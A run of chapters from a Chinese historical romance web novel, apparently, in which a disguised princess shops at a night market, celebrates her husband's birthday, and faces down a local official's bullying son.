“这是你个臭脾气，说根雕不等人，活生生错过了这桩生意。”
抄手摊主语气直白，翻了一个白眼。
李意清站在两人舌战的中间，弱弱地举手，“我……”
老人语气斩钉截铁道：“姑娘稍等片刻，我这就将骏马雕刻好。”
他说完，手上的动作麻溜了起来。
抱拳站在一旁的抄手摊主冷眼瞧着，嘴里嘀嘀咕咕，李意清没有听清，只见他眼珠打了个转，仍不死心。
“姑娘，你买几碗红油抄手，我给你讲讲我和这老汉儿的故事。”
李意清询问的视线看向元辞章。
元辞章读懂她眼中的好奇，轻轻颔首。
李意清这才放下心来，跟着摊主走到了他家的摊铺。
认真雕刻的老人忽然出声提醒：“娃儿，莫要忘了来拿根雕。”
抄手摊主：“去去去。”
他今日好不容易开张，若是被这老儿搅合了，他可真要气出一口气。
李意清跟在抄手摊主身后，落座。
“要四碗抄手，不知道能不能外带？”
摊主似乎泛起了难：“都带走吗？我可这没有准备食盒？”
这可怎么办呢。
方才才吃了一碗面条，现在是无论如何都吃不下的了。红油摊主看着元辞章手中拎着的大包小包，咬了咬牙。
他绝对不能失去这两位大客！
摊主只犹豫了一瞬，走到老人的摊前，瓮声瓮气道：“我记得你有个木盒，反正你也没用，给我。”
他朝着老人伸手，语气坦荡。
李意清越发好奇两人的关系了。
单论相貌而言，两人并不相像。
老人看了他一眼，冷哼一声，到底没有拒绝：“拿去拿去。”
饭盒办妥，剩下的事情就简单了，摊主起锅烧水，趁着等水开的功夫，完成了之前的许诺。
他和老人的关系。
摊主先是神秘兮兮道：“姑娘是不是设想过，我和老人是父子，或者子侄？”
李意清诚实地点了点头，“所以是吗？”
“当然不是，我和老汉儿一点关系都没有。”摊主拍了拍胸膛，“我的母亲，是舒州白崖县有名的绣娘，我的父亲，也是年纪轻轻中了秀才。这老汉儿世代木匠，和我可不一样。”
他的声音中带着几分自傲。
李意清心里觉得奇怪，这摊主嘴上说着奚落的话，可是她感觉不到摊主的厌恶，反而带着一丝说不清道不明的温情。
她猜测道：“那，后来认识的？”
摊主看了认真雕刻骏马鬃毛的老人一眼，声音压低了几分，“他和我娘青梅竹马，后来他去服役了，我娘在我外爷的忽悠下信了他已经死了，含泪嫁给了我爹。后来我父母两个江上遇到了水匪，双双遇难，他看我可怜，收养了我。”
最爱之人和情敌的孩子，老人收养他的时候，也不知道作何感想。
摊主摊了摊手：“就是这么个事儿，不慷慨，不悲歌。嘿，水开了。”
他注意到锅上的动静，不再搭理李意清，走到了锅炉前。
李意清听到一个“略显平淡”的故事，没有戏文中那般百转千回，也没有史书绝唱那般大气磅礴。
怪不得他会对老人说不如回家待着。
摊主将一个白皮抄手丢进沸腾的水中，想了想，回头对李意清道：“至于他为什么救我，可能就是他心善吧。”
他并不是老人唯一救下的孩子，二三十年前的灾荒，老人一己之力救下了三个孩子，他是唯一一个苟活到成年的。
他当然算不上最惨的，至少他现在还能时不时和老汉儿斗嘴。
摊主将抄手捞起，放入拌好料汁的粗瓷碗中，递给李意清。
“诚惠，十七文钱，抄手三文钱一
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碗，木盒五文钱。”
李意清笑：“碗还没算钱呢。”
摊主往自己脑门上拍了一下，更改道：“二十五文钱！”
两文钱一个的粗瓷碗，是普通百姓的家常首选。
即便在舒州已经低调俭约，可是清风居也没有一只低于三两白银的碗具。
李意清看了元辞章一眼。
元辞章自觉地上前，一手交钱，一手拎起木盒。
另一边，根雕的老人也到了最后的收尾阶段。
根雕的价钱，向来凭买家的心意，若是在他的心中值十两，便是十两也能卖得。若是拮据些，谈七八文钱，卖家同意，买卖也算。
李意清在心中估价。
今日做了四碗抄手的摊主此刻说话底气很足，“老汉儿，我今日进账，够养活我们两个了。”
老人手上的动作没有停顿，他像是说给自己听一样，“还不够。”
当然不够，他还没有攒到足够的钱，送他去酒楼学习手艺。
孩子的手艺怎么样，能不能挣到钱，老人心中有一把称。
他已经年迈，终究不能陪孩子一辈子，他想在临终之前，攒到足够的钱，送孩子去学一门安生立命的本事。
这就是他的愿望。
摊主看着老人低着头自顾自的忙活，语气不解：“您都这一把岁数了，还不肯好好在家歇息，每天只睡那几个时辰，怎么够。银子这东西生不带来死不带去的，你现在白日挣的已经够用了，怎么了，还想要整几件陪葬充充面子？”
老人瞪了他一眼：“我便是死在外头，也决计不会碍了你的眼。”
摊主朝李意清耸肩，“看，老汉儿多犟，根本劝不动。”
李意清却没有附和摊主，只是看着老人做了千百遍的动作，伸手拿起一块布，擦去根雕上的灰尘。
“多少钱？”
“姑娘看着给就是了。”
一般这样说话的商家，往往都怀揣着多多益善的心思。
李意清忽然道：“我从‘他’那里听说了你的故事，你要不要补充几句？”
他，指的自然是抄手摊主。
抄手摊主刚欲说话，被元辞章抬手拦下。
他动作温和谦逊，却教人不敢违逆。
抄手摊主只好悻悻作罢。
老人看了一眼他，眼底眸光波动，半响道：“一个逆子罢了。”
“老汉儿！做人做事要讲良心！”
李意清忽然读懂了两人之间没有血缘却胜似亲人的羁绊。
灾荒无情，盛世难得。
她伸手接过那一匹雕刻得很俊逸的马，联想到老人曾在北地服兵役，心中释怀。
只有见过骏马奔腾之人，才能如此细致地抓住神情动态，雕刻得这般栩栩如生。
李意清心知自己今日这个散财童子是当定了，但是这般花钱，她心中丝毫没有不忿，而是满心温和。
“夫君，咱们剩下的钱，都给了吧。”
李意清转头看向元辞章，眸光在星夜下波光点点。
她身上越来越多天神走下凡间的温柔与垂悯，高堂之远，她却与民共情。
元辞章恍惚了一瞬，而后将手中的钱袋给了出去。
里面大概还剩下二十几两，他也记不太清。
天知道这副场景落在抄手摊主的面前多像“色令智昏”。
抄手摊主：“喂！”
111. 自取礼物【糖】
抄手摊主朝着老人道：“老汉儿，我们都是本本分分做人，你那根雕我看了，顶多一两银子，你可别昧了良心。”
老人接过沉甸甸的钱袋，心中思绪万千。
他相中了两人衣着不凡出手豪爽，可是当着孩子的面，他犹豫起来。
这笔钱的进项，就足够将孩子送去舒州任意一个酒楼，让孩子学一手厨艺回来。
主事烧菜肯定不成，但是混个自己温饱不成问题。
老人心中舍不得放弃这笔钱。说到底这姑娘和他非亲非故，而另一边，那孩子可是自己实打实养到这么大的。
抄手摊主还在挣扎：“老汉儿，钱没了还能再赚，这钱你若是收了，休怪我瞧不上你。人可无财，不可无志！”
老人本还有些犹豫，听到他的话，反而冷静了下来。
他轻唾了一口，“志气？志气能当饭吃？你那死鬼老爹教你念书，怎么不教你怎么擀面，不然何至于你到现在都养不活你自己。”
摊主脸上一红。
“再者说，我和这位姑娘买卖根雕，一手交钱一手交货，她懂得欣赏，自然是无价之宝，你粗鄙不堪，自然看什么都不成气候……”
“臭老汉！你说谁粗鄙不堪？我爹可是秀才！”
李意清看着两人吵吵嚷嚷个没完，伸手扯了扯元辞章的衣袖，做口型道：“走。”
元辞章今日听了不少声“夫君”，此刻别说是走，就是李意清想要天上的星星，他都得想出个办法来。
趁两人争吵期间，李意清和元辞章顺利地走了出来。
叉腰对骂的抄手摊主迟钝地反应过来时，周围早已经不见人影。
老人看着孩子急得团团转，主动退让道：“罢了罢了，等下次碰到，我还回去一些就是。”
*
吃饱喝足，李意清和元辞章回到清风居。
屋中，剩下的四人一人占据桌子一边，玩着一把不知道从哪弄来的叶子戏。
四人聚精会神，气氛热火朝天，谁也没有注意到被推开的门。
李意清嗅到一阵清冽的酒香，走到桌边，将茴香和洛石两人的牌尽收眼底。
这一局接近尾声，茴香要输。
李意清得出结论。
她转身看向站在门边的元辞章，朝他笑着摇头。
元辞章将食盒、花灯、桃酥、豌豆黄放在一旁，和李意清一道出去洗手。
回来的时候，满堂中满是茴香的笑声。
李意清挑了挑眉。这是茴香赢了？
洛石气呼呼地将手中的牌丢了出去，眼神带着幽怨：
“一打三，这还怎么打？你们都玩赖的。”
许三挠头直笑。
李意清适时开口：“带了吃的，你们过来看看。”
洛石立刻将烦恼丢到一边，“殿下，你什么时候回来的？这是什么？红油抄手？”
李意清：“一人一份，都有都有。院子里怎么有酒味？你们谁买的酒？”
原先直呼吃饱了的茴香和许三也一人端起了一碗，听到李意清的问话，有些心虚。
“殿下，你要喝吗？”
李意清今天高兴，很是愿意小酌两杯。
她点点头，“还有吗？”
毓心立刻放下手中的碗筷，取出陶瓷碗满上一杯，学着舒州酒肆的强调：“量大，管够！”
几人笑作一团。
李意清品酒能力一般，除了能区分出烈酒和绵酒之外，其余一窍不通。
可是手中这碗酒入口甘冽，不辣不冲，略带回甘，很是好喝。
李意清当作开水一般喝掉一碗，正准备让毓心再给自己满上，却被元辞章伸手拦下。
“会醉。”
李意清抬眸看去，只见元辞章不轻不重地挡在酒盏之前。
“……好吧，喝水也成。”
其实她的心底话是，即便是醉了，那又何妨。
反正都已经在家中了，还能出事不成。
元辞章默不作声地转身，倒了一杯白开水放在桌上。
另一边，茴香刚咬了一口红油抄手，立刻蹙起眉头，呸地一声吐了出来。
“殿下，你是不是被人骗了啊，怎么这么难吃。”
说完，她转头看向一旁吃得正欢的洛石，“你怎么还吃啊？你面皮薄厚不匀，馅料寡淡无味，你怎么吃得下去？”
洛石囫囵咽下最后一个抄手，闻言，声音模糊道：“有吗？我觉得还好啊。”
毓心紧随其后尝了一个，她咬了一个小角，入口还尚可，但一旦咀嚼，立刻便弥漫起一种说不清道不明的味道。
这味道让她想起了初到城南那次，尝到的带着咸味和甜味的馄饨汤水，怪异得很。
毓心接过茴香贴心递过来的水，就着水咽下了那一口抄手，而后在茴香期待的目光下缓缓说道：“味道确实……比较一般。”
洛石：“那就是不吃了？归我归我，通通归我。”
他风卷残云地将毓心和茴香不要的两碗揽到自己的怀里，见许三能依靠自己的能力解决完那一碗抄手，便没有开口。
李意清眉眼弯弯，小声对元辞章道：“洛石真好养活，有他在，都不用担心浪费了粮食。”
茴香和毓心见红油抄手吃不得，便将目光落在了桃酥和豌豆黄上。
有了先前的经验，茴香这次万分谨慎，只抿了一小口。
味道香甜，入口即化。
茴香眼睛亮了起来，伸手捏了一块放在李意清的唇边，“殿下，好好吃，你尝尝看。”
李意清顺着她递来的姿势含住豌豆黄，咽下后，笑着站起身。
“好啦，时辰不早了，我先睡了，你们都别玩得太晚。”
茴香一口接着一个根本停不下来，闻言点头如捣蒜：“嗯嗯。”
李意清离开后，漱口躺在床上。
舒州的床榻不像京城公主府的卧榻，有层层叠叠的纱幔和珠帘遮挡，书案和床榻一览无余。
元辞章今日当然没在办公，而是洗漱沐浴。
李意清摇着折扇，隐约起了困意。她强迫自己打起精神，将今夜买到的根雕摆在腰带的旁边。
元辞章是陌上君子，就应该着君子装，配飒沓奔马，恣意于天地之间。
这是她没有说出口的私心。
元辞章洗漱完毕。回来房中，惊讶发现李意清今日没有像往常一样早先睡下。
他的脚步忽然变得有些迟缓。
“怎么还没睡？”
今天六月十二，她可没忘
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李意清坐在床上，天气逐渐转热，她换了一身纱制常裳，见元辞章发尾湿润带着寒气，朝他伸出双手。
元辞章上前，将她揽在自己的怀中。
李意清顺理成章勾到了元辞章的发丝。他的衣裳都是她亲选的丝绸，触之冰凉沁润，光滑无比，可是在李意清的眼中，远远不足他的长发手感好。
她将一小截发尾折来卷去，玩得不亦乐乎。半响，才轻声道：“今日是你的生辰，最重要的事情还没说，我怎么能撇下你先睡。”
元辞章眼眸暗沉了几分。
他嘴唇翕动，刚欲开口，忽然脸上一抹轻柔的触感一闪而过，温热的气息落在元辞章的耳畔。
“生辰喜乐，元辞章，”李意清的声音越来越低，裹着倦意，“我好困啊。”
攀附在他背脊上的手力道越来越轻，逐渐下滑。
即将接触到被褥的一瞬间，元辞章翻手扣住李意清柔软的手，强势地撑开她的五指。
十指相扣。
元辞章的呼吸从上扑落，炽热而急促。
他的声音沙哑，带着强忍地颤音：“既然祝我生辰喜乐，难道没有礼物？”
李意清的困意被他偏高的体温唤醒。
他的身上一向温凉，只有……
李意清刚欲开口，说自己准备的生辰礼物放在桌上，可是元辞章没有给她这个机会。
他的唇落在她的眉心和眼眸，一路向下。
如蝴蝶落在花瓣，轻柔而郑重。
李意清刚积聚的理智在炙热的灼烤下变得粉碎。
她感觉眼角起了一层雾气，水雾落在眼中，什么也看不清。
李意清从一开始的被动变得主动，回应着元辞章绵长而缱绻的吻。
被压在头顶的手想要挣脱，可是刚一有动作，便会被元辞章不动声色的化解。
李意清呜咽着破碎的声音。
有汗水落下，她分不清是谁的。
眼角的泪水被元辞章轻柔地吻去，李意清声音颤抖得可怕。
“元辞章……手疼。”
元辞章单手微微支起，垂眸看着软成一滩水的李意清。
眼底只剩下李意清张合的红唇，唇色润泽，柔嫩泛红，一副被人欺负的模样。
根本什么也听不进去。
李意清咬住了元辞章重新覆下的肩胛，牙齿微微用力，在他的肩头留下一小排整齐的牙印。
元辞章不痛不痒，只觉得轻绵绵的。
他巴不得李意清再多咬几下。
李意清浑身像是从水里捞出来一样，她抓住间隙，趁着元辞章俯身的间隙，再一次柔声求饶。
“元辞章……夫君……”
元辞章的手猛然松开。
李意清见到效果明显，立刻一声接着一声。
“夫君，我好累啊。”
“夫君。”
元辞章简直要疯了。
他沉沉看着李意清潋滟的双眸，忽然觉得自己真是罪孽深重。
绵羊自以为抓到了猎人的软肋，殊不知早已陷入深渊。
李意清的轻唤只持续了一瞬，便在狂风骤雨中变得支离破碎。
夜还蛮长，却连后悔也抽不出时间。
……
112. 遇事
翌日，李意清不出意料的晚起。
她揉着自己的手腕，原先光洁白皙的皮肤有一道扎眼的红痕，是昨夜元辞章放肆的铁证。
床榻上另一边早已变凉，元辞章多年卯初就起的习惯雷打不动。
也不知道一天天哪来的精神。
李意清揉着手腕，走到梳妆柜前翻翻找找。
守在门口的毓心听到响动，推开门走了进来。
“殿下。”
李意清动作迅速将袖口拉下，紫色的香云纱盖住手上的一圈红痕。
毓心：“殿下在找什么？要不要奴婢帮忙？”
“没什么……”，李意清咬唇，忽然道，“毓心，你有没有消印子的药酒？”
毓心原先淡然的表情立刻带上紧张，“殿下，你哪里受伤了？我看看！”
李意清看她一脸惊慌，改口道：“不是我，是昨夜夜市上遇到的人……要是没有就算了。”
“有的。我去给殿下拿。”
毓心迟疑了一会儿，仍不放心地打量着李意清，一步三回头。
李意清：“放心，昨夜我和元辞章一道出门，若是有事，他怎么会没有反应。”
也是哦。
毓心不再担心，转身离开寝屋，去拿药油。
趁她拿药油的期间，李意清洗漱完毕。
她的皮肤通透，即便不施脂粉，在阳光下也如白玉凝脂。
毓心拿着药油进屋，细细嘱咐李意清道：“殿下，这药油早晚抹一遍，用后一个时辰尽量不要沾水……”
李意清记得很认真。
毓心：“殿下这是现在就要去送吗？我陪殿下一同去罢。”
李意清：“……”
这怕是不太方便。
毓心看李意清坐立难安，原先的猜测再一次浮上心头。
“殿下，这药酒味道大，要是用了，我肯定能闻出来。”
李意清握着药油的手微微颤抖。
毓心大惊失色：“殿下，真是你受伤了？快给奴婢看看。”
李意清犹豫了一下，伸手自己的手。
“不小心撞到了……”
毓心：“……”
什么东西能刚好撞成一个环形。
她看了一眼，收回视线，将手中这瓶药油收起来，而后对李意清道：“殿下，你稍后片刻，我去给你重新熬一副。”
随行的行李中带着一些常用药材，毓心对其了若指掌。
约莫一个时辰后，毓心才捧着一个小陶碗走进来。
里面的药油药味不重，带着一股清甜的桂花香味，即便擦在身上，也直让人觉得只是涂了香膏。
毓心眼观鼻鼻观心，等李意清擦完之后，找了一个羊脂瓶将余下装了起来。
效果还不错。
李意清试着活动手腕，原先轻微的疼痛顿时被一阵冰凉覆盖。
就是不知道什么时候痕迹才能消失。
李意清正想着，看见毓心收拾好，立刻坐直了身子。
毓心什么都知道，但是毓心什么也没说。她用公事公办的语气道：“殿下，擦完药记得一个时辰不要碰水。”
李意清知道她什么都知道。闻言，点了点头。
此事告一段落，毓心这才注意到李意清换上了一件衣裳。
毓心：“殿下准备出门？”
李意清：“嗯，出去撞撞运气。”
毓心：“什么运气？”
李意清朝她笑了一下，却没有开口解释。
她自己心底都还没底，自然不知道怎么和毓心讲述。
舒州地处南方，比起京城，夏昼漫长，加之水稻耕种，烈日暴晒，有不少人出城归来，中了暑气，热晕在茶楼和医馆之中。
她怕酷暑，每每到了夏日，除了井水镇过的寒瓜，便是用上一碗乌梅汤。
乌梅生津止渴，消虚热，配合薄荷、甘草，熬制可得梅汤，和绿豆水一样，最是消暑。
昨夜夜市转悠一圈，吃食不少，还大多开灶火烧，满是热气。
李意清曾经试做布料生意血本无归，差点回不了家，对于经商，她心中并没有底。
大庆历来重仕而轻商，可是在李意清看来，文人傲骨要得，自家实实在在的生活也要得。
柳夕年传回的书信中说，经商，无非看地之所需，地之所缺。只要能看懂这些，便不愁没有销路。
毓心看李意清神色认真，在旁安静地没有打扰。
直到李意清露出一副豁然开朗的神情，语气轻松对她道：“走吧，出门转转。”
毓心虽然不懂，但是听到李意清的话，立刻点了点头。
两人和茴香洛石打了声招呼，离开了清风居。
今日浓云密布，隐约可见云层之上的日光。地上吹着和煦的微风，是个适合出行的好日子。
李意清走在街上，白天府城中的乐趣不少，除了听曲听戏，斗虾斗鸡，还有变戏法的表演。
三个衙内勾肩搭背，漫无目的地东张西望。
民大多怕官，更怕这样的“官二代”，自身没什么正经事，仗着老子娘的威名在府城中呼风唤雨。
衙内所到之处，买糖葫芦和糖橘子的老人连忙转身，跻身一旁的小巷子中。
李意清意识到了气氛的不同寻常，可是一时没有察觉气氛的来源。
她停在一个药铺的前面，让毓心挑选甘草。
——“哟，这是谁家的小娘子，生的如此标致？”
冒犯的话语在耳边响起。
卖药的掌柜忙着包药，一听到这声音，心道一声坏了。
他欲言又止地看着对面的两个姑娘，有心提醒，却又害怕这招猫逗狗的三个人——
这三个混世魔王，一个是刘同知的次子刘悯安，一个是团练使的小儿子宋旭人，最后一个是高学正的独子高衡。
三人自幼相识，在这片地界从来是说一不二的存在，任天大的事，都能被三家一道压下去。
卖药的掌柜吃罪不起。
李意清听到了那句话，却并不想理会。
刘悯安还是首次被人无视，自觉在宋旭人和高衡面前丢了面子，脸色立马差了起来。
他沉着脸，冷笑一声：“敬酒不吃吃罚酒。老子看你一眼，是老子看得起你，装什么清高？”
李意清转过身，才将视线落在了三人身上。
三人肥头大耳，虽然一身锦衣华服，却丝毫不见其矜贵之气。
能将云绫锦穿出这般俗气的效果，也算李意清生平仅见。
三个人看见
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李意清蹙起的眉宇，忽然一阵烦躁涌上心痛，紧随其后是一阵无边怒意。
他们三人习惯了对她人评头论足，指指点点，可是一旦视角切换，便难以接受。
刘悯安抬手，眼瞅着一个巴掌就要落下来。
卖药的掌柜心惊胆战，既害怕两人在自己摊子前起冲突，也害怕自己摆在前排的药材都被打飞。
毕竟这三位可是出了名的惹事不赔。不止，别说不赔，光是别被他反咬一口，被打出伤，都算是一件幸事。
卖药的掌柜实在纠结，刘悯安的巴掌已经落了下来。
清脆的撞击声让掌柜闭上了双眸，真是罪过，今日一场冲突避免不了了。
李意清看着出现在自己身边的洛石，还没看清他的神色，只见洛石忽然一个旋身飞踢，刘悯安被一脚踹出去，重重摔在地上。
宋旭人和高衡瞪大了眼睛，三人之中，刘悯安的家世最好，三人中也隐隐以他为首。
现在“老大”被人踹飞到了地上，这口气，是可忍熟不可忍。
宋旭人率先冲上前，朝着洛石的面门就挥拳而下，洛石的唇抿成一条线，右拳蓄力相迎，耳边响起一阵霹雳吧啦的声音。
掌柜瞬间瞪大眼睛，有些惊恐地望着这一幕。
有人的指骨断了。
十指连心，宋旭人当即嗷地一声叫了出来，恶狠狠地盯着洛石。
“好！你好的很！我定要你碎尸万段。”
洛石置若罔闻，走到李意清的身边，声音关切：“……姑娘，没事吧？”
李意清朝他摇了摇头。
只剩下站着的高衡。
他弯腰检查两人的伤势，刘悯安捂着胸口，恶狠狠道：“去！去找我爹爹！快去~！”
高衡咽了一口口水，快速地点头，逃也似的跑走了。
宋旭人疼得眼睛都模糊起来，他叫嚣道：“悯安的爹爹可是舒州的同知，你们就等着下大狱吧。”
李意清可有可无地点头：“好啊，我等着。”
掌柜重重地“唉”了一声，只当李意清不懂其中的利害，
“姑娘，你是不知道，这刘衙内的爹是刘同知，在舒州地界，可是……你们算是摊上事了。”
他隐晦地比了一个大拇指，而后摇了摇头。
李意清沉吟。
掌柜见她垂眸，心中连连叹息。可现在后悔，可又有什么用呢。
他忍不住朝着洛石道：“你路见不平，拔刀相助，本是好事。可是如此一来，三十大板怕是跑不掉了。”
洛石：“啊？”
掌柜一脸过来人表情看着洛石，本想调侃一句“英雄救美”，可是眼角余光扫到地上一脸戾气的两人，揶揄的心思立刻被担忧所取代。
洛石被掌柜的视线看得不好意思，连忙解释道：“不是，这位就是我主家。”
掌柜“哦哦”两声，原来这出戏不是英雄救美，而是忠仆救主。
洛石见掌柜一脸了然，松了一口气，紧接着问：“你既然说我做的好事，可却要被打三十大板，这是什么道理？”
“……”
掌柜看着洛石，见他语气认真，丝毫不在意地上两人如黑炭的脸色，心中诡异地升起一丝好笑的情绪。
这不是很明显的吗？
113. 蝼蚁
地上的刘悯安语气狠厉：“等我爹来了，你们有一个算一个，全都吃不了兜着走。”
掌柜想笑，又不敢，只能憋红了一张脸。
李意清对身边的毓心道：“他们既然喊了人，咱们也不能干坐着等别人来收拾。毓心，去报官吧。”
毓心得令，立刻转身朝着府衙方向去了。
听到报官，刘悯安和宋旭人像是听到了什么惊天笑话，笑得脸红脖子粗，眼泪都快掉下来。
刘悯安和宋旭人扶持着走到了树荫底下，露出一副胜券在握的表情。
围观的人也越来越多。
看见有人朝着他小声说话，刘悯安立刻张牙舞爪，“再看一眼，我要我爹爹把你们眼珠子都挖了。”
左一句我爹爹，右一句我爹爹，自己当真一点儿本事也没有。
李意清不以为意。
云层被风吹散，太阳直射下来。
围观的人分散在屋檐下和树荫下。
掌柜看着李意清不慌不忙，镇定自若的模样，想起洛石矫健灵敏的身手，狠了狠心，对李意清道：“姑娘，你且在陋舍小歇片刻。”
李意清正好站累了。闻言向药铺掌柜颔首致谢，走到铺子里面的长凳上坐下。
靠的最近的人谈话声隐约传出一些进来。
“去年得罪刘悯安的一家人，人无缘无故被人打了一顿，官府查不出来，不了了之。后来家中的生意更是三天两头就有混混光顾，在舒州待不下，只能远走。”
“你说的可是去年卢家媳妇那件事？”
“正是哩。刘悯安是混账不假，可是他那个爹，却不得不防。”
……
李意清藏在袖中的手不自觉攥紧了。
忽然，谢谢歪躺在地上的刘悯安像是看到救星一样站了起来。
“爹，爹，你可算来了。”
刘悯安一把鼻涕一把泪，朝着刘文钊大喊：“你再不来，你儿子就被人欺负死了。”
刘文钊却一反常态地没有看自己的儿子，而是先走到了李意清的身边。
“殿……元夫人，您没事吧？”
李意清看了一眼跟在后面的人群，毓心走在后面，没有看见熟悉的身影。
刘文钊背后冷汗涔涔，他知道李意清想见的是谁。
“元夫人，实在不巧，底下白崖县的知县正好到府衙述职，大人暂且抽不开身。”刘文钊和元辞章共事已经一个多月，自然见识了他的手腕，此刻面对李意清，说话不自觉带上了几分敬语。
原来是这样。
刘悯安茫然地看着自己的亲爹围在李意清的身边，忽然心里就没了底。
被踹的地方隐隐作痛，他不敢喧哗。
刘文钊却不能忽视自己躺在地上碍眼的儿子。
他伸脚踢了刘悯安一眼，眼中满是愠怒，“我真是太纵容你了，竟让你闯下这样大的祸事。还不快滚过来赔罪！”
药铺掌柜已经完全看呆了。
刘悯安心中不忿，可是父亲已经发话，他不敢违抗，只能忍着痛站起身，朝李意清拱手：“今日之事，是我冒犯，还请元夫人见谅。”
一旁的宋旭人不需要刘文钊的提醒，自觉地就靠了过来。
“夫人，是我冒犯了。”
宋旭人虽然是团练使宋近的儿子，可他头上两位嫡兄三位庶兄，在家根本没什么关注度。
连刘同知都惹不起的存在，若是被宋团练使知道他闯了这样的祸事，怕是免不了一顿毒打。
李意清安静地坐着。
毓心走到她的身边，默默站在后面。
围观的人越挤越多，刘文钊也有些汗流浃背了。
李意清沉默的时间越长，刘文钊的心情就越紧张。
一个次子罢了，就算舍弃他也没什么可心疼的，他在担心自己的乌纱帽。
毕竟别人不清楚，他可是实实在在知道她的身份的。
刘文钊担心自己的乌纱帽，不自觉就将怒气撒在了自己儿子和其他两个狐朋狗友身上。
刘悯安瞥到自己父亲的脸色，哪还有刚开始的嚣张，只剩下畏畏缩缩。
李意清静坐了一会儿，才轻声问：“去报信的那个呢？”
刘文钊听到李意清发话，立刻打起精神：“在府衙拘着……但是据他所说，他只是被胁迫……”
刘悯安和宋旭人暗自呸了一声。
李意清笑了一声。
刘文钊想不出她因何发笑。脚边传来一阵力道，他微微低头，看见一脸灰头土脸的儿子，朝他做着口型。
“爹爹，救我。”
刘文钊脸部僵硬，抬脚甩开刘悯安后，终究还是被他唤醒了为数不多的慈父之心。
刘文钊伸手拧着刘悯安的耳朵，小心翼翼道：“在下没有管教好犬子，是在下的失职，回去后定当狠狠责罚……只是，今日到底没出什么大事，元夫人可否高抬贵手，饶了犬子这次？”
李意清站起身，身上的披帛往下微微下滑。
她垂眸，看着原先倨傲的衙内忽然变得犹如丧家之犬，内心并没有什么波澜起伏。
半跪在地上的刘悯安根本不敢对上李意清轻飘飘的视线。
李意清道：“今日之事，确实不算什么大事，但是我方才倒是听说了一件事情……听说去年令郎，和卢家娘子有纠葛？”
刘文钊还能维系自己的脸色，可是年轻的刘悯安就维持不住了。
他紧张地拽着刘文钊的衣袖，颤声道：“爹……”
那件事情不是都翻篇了吗？
肯定是有人在旁边碎嘴提到了此事。
刘文钊极力维持着面上的镇定，他干笑两声，意有所指道：“卢家娘子的案子和犬子的摩擦，已经结案了。不知道元夫人忽然提起此事，是有什么打算？”
他在赌李意清只是听到百姓路过的碎嘴，而并不知道内情。
李意清：“前知州做事不公，我今日看见令郎，忽然想到原先的卢家娘子。对判处的结果有些疑惑罢了。”
刘文钊：“此事案卷卷宗在府衙，夫人若是有疑惑，大可找出来一览。可是毕竟涉事的卢家娘子一家已经离开舒州，下官害怕，夫人竹篮打水一场空啊。”
这是打定主意给她来一个死无对证了。
在此之前，舒州是刘文钊的地盘，瞒下这一件事情，对刘同知来说并不难。
李意清沉默了片刻，没有说话。
刘文钊的底气瞬间回来，自己这个儿子虽然不
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成器，可是大儿子虽早慧考中举人却不幸落了残疾，断了仕途。
后面三个儿子最大的也才十一岁。
这是他为数不多已经长成的儿子，若是有一丝可能，他都是能救则救。
去年的这件事，他好一番斡旋，光看公文，根本不存在翻案的可能性。
至于当事人，就更没什么好担心的了。
刘文钊嘴角露出一抹胜券在握的笑。
李意清看着他嘴角的笑，心往下沉了沉。
刘文钊道：“犬子冒犯了夫人，不可不罚。按照大庆律例，无端寻衅，判处二十大板。从犯者十五大板。夫人可要一道前去观刑？”
李意清抬眸，视线锁定在刘文钊身上。
刘文钊的语气轻佻，像是断定李意清身份尊贵，不愿意看到刑罚现场。
只要她不亲临，自己儿子受到板子的轻重，还不是自己说了算。
李意清转身看向药铺掌柜，“可有纸笔？”
药铺掌柜一脸茫然。
他反应慢了一拍，而后点头，“有的有的，我这就去拿。”
少顷，药铺掌柜拿来纸笔。
“多谢。”李意清道谢，接过纸笔，微微蘸墨，开始提笔书写。
围观的众人、包括刘文钊在内，都对李意清手中的纸充满了好奇。
她会写些什么呢？
李意清写完最后一个字，在众人的瞩目下将纸张递给药铺掌柜。
药铺掌柜接过一看，发现上面只是一些寻常的草药。
“甘草、枸杞、洛神花……夫人放心，我一定准备周全。”
李意清颔首，“我怕暑热，这是家乡郎中开的药方，收集之事，有劳掌柜了。”
什么嘛，原来只是一张药方单子。
刘文钊松了一口气，拎着刘悯安的后领道：“既如此，在下便先带着犬子回府衙。夫人自便。”
“同知还真是急性子。”李意清语气嫣然，声音清正悦耳，“这么两刻钟都等不得，我何时说了我不去？”
刘文钊：“……啊？”
他后知后觉地转过身，“你也要去？”
刘悯安摇着他的大腿，眼中写满了抗拒和惊恐。
二十大板，有的两三日就好，有的两三月都下不了床。
她要是去了，定然妥妥的后者。
李意清理所应当地点点头。
刘文钊：“……”
围观看戏的众人见刘同知和李意清离开，自觉没了趣味，四散而去。
只剩下药铺的掌柜，看着手中的纸陷入沉思。
这手字灵动清隽，比之馆藏的字画毫不逊色。
只此一件事，便让掌柜意识到了李意清身份的不同寻常。
他有些庆幸，在冲突发生后，选择站在李意清这边。
风吹散的云层没能再聚起来，药铺掌柜看着纸张，取出一个纱布袋按照要求取物，却无端想起了去年的事。
去年也是这条街巷。卢家娘子因为容貌出众，被刘悯安看上，后来家中酒肆被迫关门，夫君被打得鼻青脸肿，被逼无奈下，只能远走他乡。
今年同样的原因，刘悯安却如蝼蚁，再无往日嚣张。
真是世事变化。
114. 耳光
舒州府衙中，坐在堂中的判官和主簿听完刘文钊讲述的来龙去脉，不约而同愣住了。
这样的小事，怎么就牵扯到了刘二公子的身上。
主簿刚欲开口缓和气氛，却忽然听到刘文钊咳了一声，义正言辞道：“该怎么判怎么判，他也二十出头了，总不能还这样混不吝。”
主簿登时反应过来。
有人盯着这儿。
他不敢再做小动作，老老实实写下公文，然后掏出印泥让刘悯安和宋旭人签字画押。
两人不情不愿地签下字后，宋旭人的眼底忽然闪过一抹恨色。
“高衡呢，他随我们一道，总不能少了他。”
刘悯安也从原先半死不活的态度变得积极，生怕少了高衡的大板。
“就是，我们今日走在街上，本来没事——是高衡先提出来的。”
刘悯安的话引起了宋旭人的共鸣。
主簿在两人一唱一和的附和下，抬头看向站在一旁抱拳站着的刘文钊。
“同知？”
刘文钊目无表情地点头，顺道吩咐身边的衙役去将高衡押送过来。
主簿得到许可，提笔再写了一份公文。
高衡被人带过来的时候，比起狼狈的两人，身上的情况好了不止一星半点。
见到怒目圆睁的两人时，打了个哆嗦，随后被人硬摁着手，在白纸上印下自己的手印。
判官站起身道：“同知大人，掌刑……”
刘文钊不动声色地往后瞄了一眼李意清的身影，沉声道：“我亲自监督，务必不要手软。”
